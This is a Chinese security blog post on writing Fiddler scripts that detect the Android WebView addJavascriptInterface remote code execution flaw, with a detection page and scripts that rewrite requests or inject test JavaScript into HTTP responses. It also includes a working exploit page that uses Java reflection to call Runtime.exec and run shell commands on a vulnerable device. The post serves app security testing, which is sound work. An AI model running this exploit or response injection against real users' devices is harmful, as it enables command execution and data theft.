Fiddler插件编写之WebView远程代码执行检测

2015-03-22 12,615

一、Fiddler介绍

Fiddler是最强大最好用的Web调试工具之一,它能记录所有客户端和服务器的http和https请求,允许你监视,设置断点,甚至修改输入输出数据,Fiddler包含了一个强大的基于事件脚本的子系统,并且能使用.net语言进行扩展

你对HTTP 协议越了解, 你就能越掌握Fiddler的使用方法. 你越使用Fiddler,就越能帮助你了解HTTP协议。

Fiddler无论对开发人员或者测试人员来说,都是非常有用的工具。

网上博文已有很全面的教程说明,大家可参考此篇博文http://www.cnblogs.com/TankXiao/archive/2012/02/06/2337728.html。以及官方英文文档:http://docs.telerik.com/fiddler/KnowledgeBase/FiddlerScript/ModifyRequestOrResponse

注意,这不是一篇工具介绍文档,:)

二、Fiddler的脚本系统

在路径“我的文档/fiddler2/Scripts/”下有个js文件CustomRules.js,这个就是fiddler在启动时加载的脚本,所有监听到的http(https)数据也都会流经这个脚本进行处理(这么表述好像不准确,fiddler将流量数据接收后交给这个脚本进行二次处理,也就是我们自定义的处理过程,我们可以什么都不做,也可以任意修改发送或接收的数据结果)。安装好fiddler后界面右边有个tab页FiddlerScript,点开后就是CustomRules.js内容了,大概是这个样子的:

fiddler1

 

如果没有这个tab就去下载fiddler的独立的脚本编辑工具FiddlerScript Editor,地址http://d585tldpucybw.cloudfront.net/docs/default-source/fiddler/fiddlersyntaxsetup.exe?sfvrsn=4,脚本编辑器还带API介绍,推荐下载用它来编辑。

fiddler2

 

如上图所示:右侧是fiddler的脚本api,但是坑爹的是,变量只有简单的一个变量类型,方法也只有一个参数类型,关于方法的介绍也是简单几句话,没有example code可参考,我在官网也没翻到比较详细的介绍。两个比较重要的方法就是OnBeforeRequest和OnBeforeResponse了,分别代表在请求前和接收数据前的动作。我们可以修改发送的请求,也可以修改服务器返回的响应,但是这个响应只针对本机生效。

 

三、WebView远程代码执行

Android API level 16以及之前的版本存在远程代码执行安全漏洞,该漏洞源于程序没有正确限制使用WebView.addJavascriptInterface方法,远程攻击者可通过使用Java Reflection API利用该漏洞执行任意Java对象的方法,

简单的说就是通过addJavascriptInterface给WebView加入一个JavaScript桥接接口,JavaScript通过调用这个接口可以直接操作本地的JAVA接口。

该漏洞最早公布于CVE-2012-6636【1】,其描述了WebView中addJavascriptInterface API导致的远程代码执行安全漏洞。

具体参考链接:http://www.droidsec.cn/webview-远程代码执行漏洞浅析

四、检测webview漏洞原理

现在大家一般都用下面的一段html代码来检测webview漏洞的存在与否。

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8"/>
<title>WebView漏洞检测--捉虫猎手</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0">
</head>
<body>
<p>
提示:如何检测出“accessibility”和 “accessibilityTraversal”接口----设置-辅助功能-开启系统或第三方辅助服务<br><br>
<b><font color=red>如果当前app存在漏洞,将会在页面中输出存在漏洞的接口方便程序员做出修改:</font></b>
</p>
<script type="text/javascript">
function check()
{
    for (var obj in window) 
    {
        try {
            if ("getClass" in window[obj]) {
                try{
                    window[obj].getClass();
                    document.write('<span style="color:red">'+obj+'</span>');
                    document.write('<br />');
                }catch(e){
                }   
            }
        } catch(e) {
        }
    }
}
check();
</script>
</body>
</html>

 

通过遍历当前webview控件里的对象,如果对象存在getClass方法就能证明这个webview是有远程代码执行漏洞的。

这个html只打印出了出现漏洞的接口名,完全可以把代码替换成反射java.lang.Runtime调用exec方法来执行二进制文件(这是一条用途,能做的事太多了),下面是一个简单的利用代码:

<html>
  <body>
    <script>
    function execute(cmdArgs)
    {
        for (var obj in window) 
        {
            try {
                if ("getClass" in window[obj]) {
                    try{
                        var res = window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
                        document.write(getContents(res.getInputStream()));
                        return true;
                    }catch(e){
                    }   
                }
            } catch(e) {
            }
        }
    }
    execute(["/system/bin/sh", "-c", "ls -al /mnt/sdcard/"]);
    </script>
  </body>
</html>

 

上面的代码通过漏洞执行了命令 ls -al /mnt/sdcard/ 列出了sd卡的文件。这样我们可以修改OnBeforeRequest方法,修改请求的url为漏洞测试页面http://appscan.360.cn/blog/webview.html,或是修改OnBeforeResponse方法,在返回的html代码里插入我们的测试代码。

 

五、修改脚本添加测试代码

首先在类开始的地方加上一个Rule菜单选项:

public static RulesOption("&Webview漏洞测试(暴力版)")
var m_Webviewscan: boolean = false;

 

接着在OnBeforeRequest方法里进行判断与修改:

if(m_Webviewscan){
if(oSession.HTTPMethodIs("GET")){
oSession.url = "/webview.html";
oSession.oRequest["Host"] = "www.secpulse.com";
}
}

 

这样我们访问每个url时会判断当前连接类型是POST还是GET,因为loadurl的方式是GET的。如果为GET,我们替换host和url为我们的漏洞测试地址。测试结果如图:

fiddler3

另外一种方法,修改OnBeforeResponse,同样的,添加一个菜单:

public static RulesOption("&Webview漏洞测试(温柔版)")
var m_Webviewscan_response: boolean = false;

 

点击Editor的菜单Go-to OnBeforeResponse,加入如下的代码:

if (m_Webviewscan_response)
{
oSession.utilDecodeResponse();
if(oSession.oResponse.headers.ExistsAndContains("Content-Type","text/html") || oSession.utilFindInResponse("<html",false)>-1){
var oBody = System.Text.Encoding.UTF8.GetString(oSession.responseBodyBytes);
oBody = oBody.ToLower();
var str="<script type=\"text/javascript\">var str=\"\";for (var obj in window) {try {if (\"getClass\" in window[obj]) {try{window[obj].getClass();str=str+obj;str=str+\"\<br>\";}catch(e){}}}catch(e) {}}if(str!=\"\"){document.write('<span style=\"color:red\">'+str+'</span>');}</script>";
if(oSession.utilFindInResponse("<head",false)>-1){
oBody = oBody.Replace("<head>","<head>"+str);
}else{
oBody = oBody.Replace("<body>","<body>"+str);
}
oSession.utilSetResponseBody(oBody);
}
}
}

 

在响应的response中在head或body之后插入检测js脚本,测试结果如图:

fiddler4

其实这篇文章没什么技术含量,最近写了两篇文章都是关于工具增强的,对于这类可自定义插件进行功能增强的工具,大家开动“懒人精神”,怎么方便自己怎么来,希望大家都能写出自己的插件。

PS. fiddler还支持.net c#拓展,会相关开发技能的同学可写c#插件,参考链接http://www.java123.net/v/524854.html

【原文:Fiddler插件编写之WebView远程代码执行检测 作者:Sniperhg 】

本文作者:SP胖编

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/5525.html

Tags:
评论  (0)
快来写下你的想法吧!

SP胖编

文章数:59 积分: 0

神器 神器 神器

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号